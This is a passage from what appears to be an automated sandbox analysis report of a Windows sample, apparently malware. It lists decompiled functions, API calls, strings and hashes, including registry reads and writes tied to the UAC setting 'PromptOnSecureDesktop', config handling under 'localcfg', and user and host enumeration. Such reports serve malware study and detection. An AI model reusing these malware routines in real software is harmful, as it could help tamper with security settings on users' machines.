						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

flags_upd, xrefs: 0040E8A7
localcfg, xrefs: 0040E8AB

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 0063E8A4, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0063DF55: GetCurrentThreadId.KERNEL32 ref: 0063DFA3

lstrcmp.KERNEL32(00410178,00000000), ref: 0063E8E3
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,00636111), ref: 0063E939
lstrcmp.KERNEL32(?,00000008), ref: 0063E972

Strings

A, xrefs: 0063E989
A, xrefs: 0063E949, 0063E94E
A, xrefs: 0063E8AF, 0063E8B6, 0063E91F, 0063E981

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: ea6676c0517e484808f2c5b351f304e4c66d3aa3b0bf6923746bc3561539175d
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: 3531CA31A04716DFCF718F24D8847A67BEAEB05320F10852AE655876D1E772E880CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00636DF7, Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 00636E02

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: c76d55468a95f317b862da8dbdb5b74b459954aa64b457a0c5480ea7b0ddcaf3
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: F5218E76108215FFDB109BA0FC49EDF3EAEDB49760F20C029F502D10A1EB71CA4496B8

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,73B743E0,?,00000000,0040E538,?,73B743E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 0063C52C, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0063C69D
InterlockedIncrement.KERNEL32(0063C734), ref: 0063C6FE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0063C730), ref: 0063C711
CloseHandle.KERNEL32(00000000,?,0063C730,00413588,00638A60), ref: 0063C71C

Strings

localcfg, xrefs: 0063C52D

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: localcfg
API String ID: 1026198776-1857712256
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 5b2cacccde8d51f58c78ae0a84a9371f16c04312757d5bc39c9d4f1f0963c7e5
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: 0F517BB1A00B418FC7648F69C9D552ABBEAFB49320F50593EE18BD7A90D774F840CB50

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,73B743E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,73B743E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,73B743E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,73B743E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,73B743E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,73B743E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,73B743E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 00427AF5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427B69
__aullrem.LIBCMT ref: 00427D36
__aulldiv.LIBCMT ref: 00427D58

Strings

0, xrefs: 00427B24
9, xrefs: 00427D69

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 02649401b00790fc25c1a63162cda082cdcc373dbd7a9e5c6411ff24425b86bc
Instruction ID: 349be2fdf99195faac6c6af5af8d9f500594ec46fd6648b5e5241ef1f427852b
Opcode Fuzzy Hash: 02649401b00790fc25c1a63162cda082cdcc373dbd7a9e5c6411ff24425b86bc
Instruction Fuzzy Hash: 9D4133B1E08229CFDB64CF59D889BAEBBB5BF44304F5041DAD008AB301C738AA81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434E34, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434EA8
__aullrem.LIBCMT ref: 00435075
__aulldiv.LIBCMT ref: 00435097

Strings

0, xrefs: 00434E63
9, xrefs: 004350A8

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: d884b4d8236fcf906a7d27879fa12957cbf0c60a9336a019a865a6c248e41687
Instruction ID: 52d77b9ae0ab1de68269e00cccc2025cfe5fe62cd64efb84f4290bdcf969cacd
Opcode Fuzzy Hash: d884b4d8236fcf906a7d27879fa12957cbf0c60a9336a019a865a6c248e41687
Instruction Fuzzy Hash: 6941F571D05628DFDB24CF58C899BEEB7B5FB88304F24919AD008A7244C739AE85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C179, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1E0
__aullrem.LIBCMT ref: 0043C3B0
__aulldiv.LIBCMT ref: 0043C3D2

Strings

', xrefs: 0043C179
9, xrefs: 0043C3E3

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: f63dc8f9c0764afe4ddbc55b9d8f0302fd85d5d5daa484c7a0e0b896b537e6c0
Instruction ID: 9494edddaf706edf894bcac15b97adfc20dafd8ad55055cbce082e1c087bb50e
Opcode Fuzzy Hash: f63dc8f9c0764afe4ddbc55b9d8f0302fd85d5d5daa484c7a0e0b896b537e6c0
Instruction Fuzzy Hash: 8D41F4B1E102299FDB24CF48C881BAEB7B5FF89314F10919AD549BB241C7385E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0063E2E5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,0063E4F3,00000000,00000000,00000000,00020106,00000000,0063E4F3,00000000,000000E4), ref: 0063E302
RegSetValueExA.ADVAPI32(0063E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0063E377
RegDeleteValueA.ADVAPI32(0063E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0063E3A8
RegCloseKey.ADVAPI32(0063E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0063E4F3), ref: 0063E3B1

Strings

PromptOnSecureDesktop, xrefs: 0063E323

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: 727676516190d6d62c570abd310451c8736004520ce3277b19bcb08441a53a48
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: 1B214F71E0021DABDF209FA4EC85EEE7FB9EF09750F048065F904E6151E2728A54DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 006371AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 006371CA
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00637211
LocalFree.KERNEL32(?,?,?), ref: 0063726F
wsprintfA.USER32 ref: 00637286

Strings

|, xrefs: 00637203

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: 491a593c3be91101e203e56b82a0f6341bb2bea07044d8362a1cd6a0a504fad7
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: 31313AB2904208BFDB11DFA8DC45BDA7BADEF04350F148066F859DB211EA74DB488B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
